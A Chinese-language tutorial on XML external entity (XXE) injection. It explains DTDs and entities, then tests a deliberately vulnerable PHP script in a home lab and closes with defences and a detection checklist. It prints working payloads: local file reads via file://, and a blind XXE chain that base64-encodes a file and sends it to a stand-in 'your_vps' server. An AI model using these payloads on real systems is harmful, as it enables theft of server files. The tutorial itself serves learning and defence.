XML实体注入

XXE 危害
● 读取任意文件
● 执行系统命令
● 探查内网端口
● 攻击内网网站

关于XML

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。需要自行定义标签。
XML 被设计为具有自我描述性。
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。

W3CXML教程

XML实体引用

在 XML 中,一些字符拥有特殊的意义。如果把字符 "<" 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误:

<message>if salary < 1000 then</message>

为了避免这个错误,用实体引用来代替 "<" 字符:

<message>if salary < 1000 then</message>

图片.png

关于DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

W3CDTD教程

DTD的作用——文档规范与呈现模式

①DTD(Document Type Definition文档类型定义)是一组机器可读的规则,它们定义XML或HTML的特定版本中允许有什么,不允许有什么。在解析网页时,浏览器将使用这些规则检查页面的有效性并且采取相应的措施。(由DTD中定义的文档类型影响)
②DTD是对HTML文档声明,还会影响浏览器的渲染模式(工作模式)。(由页面中书写DTD的方式影响)

例如<P align="center">这是一个居中段落</P>
在XHTML中,标记是区分大小写的,上面的代码毫无意义。可在HTML中它是一个居中段落。浏览器需要知道你用的是什么标记语言然后才能正确的对待这段代码。
这就是DTD的工作。一个DTD应该放在每一个文档的第一行。这样正确地放置,你的DTD才能告诉浏览器的用的是什么标记语言。在通常情况下,如果你编写的是正确的代码,并拥有一个合适的DTD,浏览器将会根据W3C的标准显示你的代码。
如果说你没有使用DTD,你将很难预测浏览器是怎样显示你的代码,仅仅在同一浏览器就有不同的显示效果。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

当DTD在xml内部声明时,要用使用DOCTYPE语法包装声明

<!DOCTYPE 根元素 [元素声明]>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE note[
    <!ELEMENT note (to,from,heading,body)>//定义 note 元素有四个元素:"to、from、heading,、body"
    <!ELEMENT to (#PCDATA)>定义 to 元素为 "#PCDATA" 类型
    <!ELEMENT from (#PCDATA)>定义 from 元素为 "#PCDATA" 类型
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
]>

<note>
    <to>Georage</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
</note>
PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
当DTD位于xml文档外部,引用外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE root-element SYSTEM "filename"> 

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note> 

这是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)> 

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体
1.一般实体的声明语法:

<!ENTITY 实体名 "实体内容“>

引用实体的方式:&实体名;
2.参数实体只能在DTD中使用,参数实体的声明格式:

<!ENTITY % 实体名 "实体内容“>

引用实体的方式:%实体名;
一般实体指代的是将来XML数据文档要用到的文本或数据,而参数实体是在DTD文档内定义的一种DTD信息,所代表的是DTD定义的一部分,不能在XML文档中使用,也不能在DTD中定义。

内部一般实体声明

语法:

<!ENTITY entity-name "entity-value"> 

实例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
    <!ENTITY writer "Donald Duck.">
    <!ENTITY copyright "Copyright runoob.com">
]>
<author>&writer;&copyright;</author> 
外部一般实体声明

语法:

<!ENTITY entity-name SYSTEM "URI/URL"> 

实例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE author[
    <!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
    <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
]>
<author>&writer;&copyright;</author> 
内部参数实体

参数实体不能被应用在元素的声明当中,不能使用参数实体来定义元素,只有在外部DTD中参数实体才能被应用到元素的声明当中。
test323.xml

    <?xml version="1.0" encoding="UTF-8"?>  
    <!DOCTYPE person SYSTEM "test323.dtd">  
    <person>  
        <name>Jason</name>  
        <addr>Shanghai</addr>  
        <tel>18701772821</tel>  
        <br/>  
        <email>18701772821@163.com</email>  
    </person>  

test323.dtd

    <?xml version="1.0" encoding="UTF-8"?>  
    <!ELEMENT person (name,addr,tel,br,email)>  
    <!ENTITY %name "(#PCDATA)">  
    <!ELEMENT addr %name;>  
    <!ELEMENT tel %name;>  
    <!ELEMENT br EMPTY>  
    <!ELEMENT email %name;>  

参数实体必须先定义再使用,而不能像一般实体那样随意放置。

外部参数实体

能将原来很长的DTD文档转变成一个很小的、相互调用的文档集合,适合大型DTD文档的设计开发。
test323.xml

    <?xml version="1.0" encoding="UTF-8"?>  
    <!DOCTYPE person [  
    <!ELEMENT person (name,addr,tel,br,email)>  
    <!ENTITY % (注意这里有个空格)content SYSTEM "test323.dtd">  
    %content;  
    ]>  
    <person>  
        <name>Jason</name>  
        <addr>Shanghai</addr>  
        <tel>18701772821</tel>  
        <br/>  
        <email>18701772821@163.com</email>  
    </person>  

test323.dtd

    <?xml version="1.0" encoding="UTF-8"?>  
    <!ELEMENT name (#PCDATA)>  
    <!ELEMENT addr (#PCDATA)>  
    <!ELEMENT tel (#PCDATA)>  
    <!ELEMENT br EMPTY>  
    <!ELEMENT email (#PCDATA)>  

XML实体注入测试

windows做为靶机,服务器ip:192.168.1.XXX,PHP5.4.45
虚拟机ubuntu16.04 服务器ip:192.168.86.128

有回显测试

xmltest.php

<?php
$xml=$_GET['xml'];
$data = @simplexml_load_string($xml);
print_r($data);
?>

PHP simplexml_load_string() 函数

使用xml外部实体读取本地文件

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///e:/123.txt">
]>
<root><note>&file;</note></root>

读取windows靶机e盘123.txt测试文件图片.png

xml引用外部实体(引用DTD文件)

payload

<?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE note [<!ENTITY % a SYSTEM "http://192.168.86.128/dtdfile.dtd"> %a;]>
 <note>&file;</note>

虚拟机上创建DTD(dtdfile.dtd)文件

<!ENTITY file SYSTEM "file:///e:/123.txt">

图片.png
读取windows靶机e盘123.txt图片.png

无回显测试

可以将结果打到服务器上,查看日志,或则将结果保存为文件

引用远程服务器上的XML文件读取文件

payload:
xxe.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://your_vps/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your_vps/get.php?file=%file;'>">

参数实体引用不能出现在内部DTD的标记声明内部
使用的php://filter将文件内容进行了base64编码,因为当我们读取的文件是php或则html文件时,文件的代码包含< >符号时会导致解析错误
这里声明payload实体参数,该实体参数以base64编码方式读取了windows靶机中e盘123.txt文件内容,然后做为URL参数请求到自己的服务器上。

然后请求payload,可以在日志文件中找到经过base64编码的文件内容图片.png

防御XXE攻击


方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

判断是否存在XXE漏洞


1.检测XML是否会被解析

<?xml version=”1.0” encoding=”UTF-8”?>   
<!DOCTYPE ANY [       
<!ENTITY shit “this is shit”>  
]>    
<root>&shit;</root>  

如果$shit;变成了”this is shit”,那就继续第二步。
2.检测服务器是否支持外部实体:

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [  
<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>  
%shit;  
]>  

通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
3.如果上面两步都支持,就看是否回显。如果能回显就直接引用外部实体注入。有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
4.如果不能回显,就用Blind XXE攻击方法(带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。)。

参考

XML的实体注入学习
XML实体注入漏洞的利用与学习
XML实体注入漏洞攻与防
XXE漏洞以及Blind XXE总结